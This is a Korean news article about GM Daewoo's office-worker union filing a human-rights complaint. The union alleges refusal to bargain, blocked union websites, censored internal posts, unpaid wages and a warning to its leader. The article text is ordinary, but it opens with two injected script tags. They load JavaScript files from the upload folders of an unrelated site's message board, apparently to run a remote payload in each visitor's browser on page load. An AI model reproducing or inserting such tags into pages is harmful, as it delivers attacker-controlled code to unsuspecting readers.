<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> GM대우자동차의 사무직원들이 가입한 전국금속노동조합 GM대우차사무지부(지부장 유길종)가 11일 \"회사가 사무직원들의 노동기본권을 부정하고 반(反) 인권적 차별대우를 하고 있다\"며 국가인권위원회에 진정을 냈다.
유길종 지부장(사진)이 국가인권위에 진정을 접수하고 있다.

\"회사가 사무직원들에게 반인권적 차별대우\" 주장..오늘 인권위 진정
GM대우의 화이트칼라인 사무직원들이 회사로부터 반인권적 차별대우를 받고 있다며 국가인권위원회에 진정을 내 귀추가 주목된다. 7일 관련업계에 따르면 전국금속노동조합 GM대우차사무지부(GM대우자동차 사무노동직장발전위원회)는 “회사가 사무직원들의 노동기본권을 부정하고 있다”며 국가인권위에 진정을 냈다.
화이트칼라 직원들이 인권위에 집단적으로 진정을 낸 것은 이례적이다. 금속노조 GM대우차사무지부는 “지난 2005년 7월 사무노조가 설립됐지만 GM대우 사측은 1년 넘게 교섭을 거부하고 있다”며 \"오히려 노조활동을 추진해온 ‘GM대우 사무노동직장발전위원회’를 무력화시키기 위한 압력을 가하고 있다”고 진정 배경을 설명했다.
사무지부는 특히 사무직원들의 의사소통 수단인 사무노조 홈페이지의 접속을 차단하고 사내 통신망(FORUS)의 사무노위란도 폐쇄했다고 밝혔다. 노조와 집행부에 반대하는 글은 게시하는 대신 노조에 우호적인 글은 지워버리는 방식으로 회사의 여론을 조작하기도 했다고 주장했다.
사무지부는 또 “통상임금 산정기준을 위배하는 근로기준법위반으로 사무직원 1인당 수 백만원에서 많게는 천 만원이 넘는 ‘체불임금 미지급’도 발생하고 있다”고 밝혔다. 이중 일부 체불임금에 대해선 노동부가 2006년 9월 ‘체불임금 지급 시정지시’를 내렸지만, 회사는 이를 무시하고 있다는 설명이다.
사무지부는 이와 함께 “전임활동이 보장된 사무노동직장발전위원회 위원장(금속노조 GM대우차사무지부장 겸임)이 최근 GM유럽종업원포럼(EEF) 국제회의 참석한 후 사측으로부터 ‘사전에 통보 하지 않았다’는 이유로 무단결근에 따른 징계를 경고받기도 했다”고 밝혔다.
이로 인해 국제금속노련(IMF)과 독일금속노조(IG-Metall)를 비롯한 해외 12개 국가의 노동조합이 GM대우차에 ‘사무노조 탄압 중단’과 ‘단체교섭에 즉각 임할 것’을 촉구했다는 설명이다.